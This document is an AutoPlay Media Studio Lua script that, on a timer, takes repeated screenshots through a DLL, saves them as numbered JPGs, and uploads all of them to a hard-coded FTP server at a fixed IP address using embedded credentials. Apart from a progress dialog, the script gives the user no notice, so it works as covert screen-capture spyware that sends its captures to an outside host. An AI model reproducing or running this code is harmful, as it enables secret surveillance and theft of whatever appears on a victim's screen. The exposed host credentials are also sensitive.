AMSSpecialist

Page.StartTimer(4000, 10);



if CaptureNum == nil then
CaptureNum = 0;
end
CaptureNum = CaptureNum + 1;

Filename = ("Autoplay\\Docs\\Cap\\Captura"..CaptureNum..".jpg");

DLL.CallFunction("AutoPlay\\Docs\\captdll.dll", "CaptureScreen", "\"" .. Filename .. "\",80", DLL_RETURN_TYPE_LONG, DLL_CALL_CDECL);

Application.Sleep(1000);


host = "31.170.167.143"
directory = "cap"
username = "u647291509";
password = "31.170.167.143";
 

if (host ~= "") and (directory ~= "") and (username ~= "") and (password ~= "") then
 


 Folder = "AutoPlay\\Docs\\Cap";

 

 if (Folder ~= "CANCEL") then
 

 Files = File.Find(Folder, "*.jpg", true, true, nil);
 

 file_count = Table.Count(Files);
 


 if (Files ~= -1) then

 FTP.Connect(host, username, password, "", true);
         ERRORCHECKING();
         
 FTP.MakeDir(directory);
         

FTP.ChangeDir(directory);
         ERRORCHECKING();
         


 
        StatusDlg.SetMeterRange(0, file_count);
         StatusDlg.Show(MB_ICONINFORMATION, false);
 
        StatusDlg.SetTitle("");
         StatusDlg.SetMessage("");
 
        StatusDlg.ShowCancelButton(true, "Cancel");
         cancelled = StatusDlg.IsCancelled();
         


for n=1,file_count do
 
        StatusDlg.SetMeterPos(n);
         StatusDlg.SetStatusText(n.." of "..file_count);
                 
            splfile=String.SplitPath(Files[n]);
FTP.Upload(Files[n],splfile.Filename..splfile.Extension, nil);
                          
                                
end
 
StatusDlg.Hide();




end
 end
 else
         Dialog.Message("Importante!", "Debe introducir los datos en todos los campos!", MB_OK, MB_ICONINFORMATION, MB_DEFBUTTON1);
 end
 
 

 if e_ID == 100 then
Page.StopTimer(50000);
Page.Jump("Page1");
end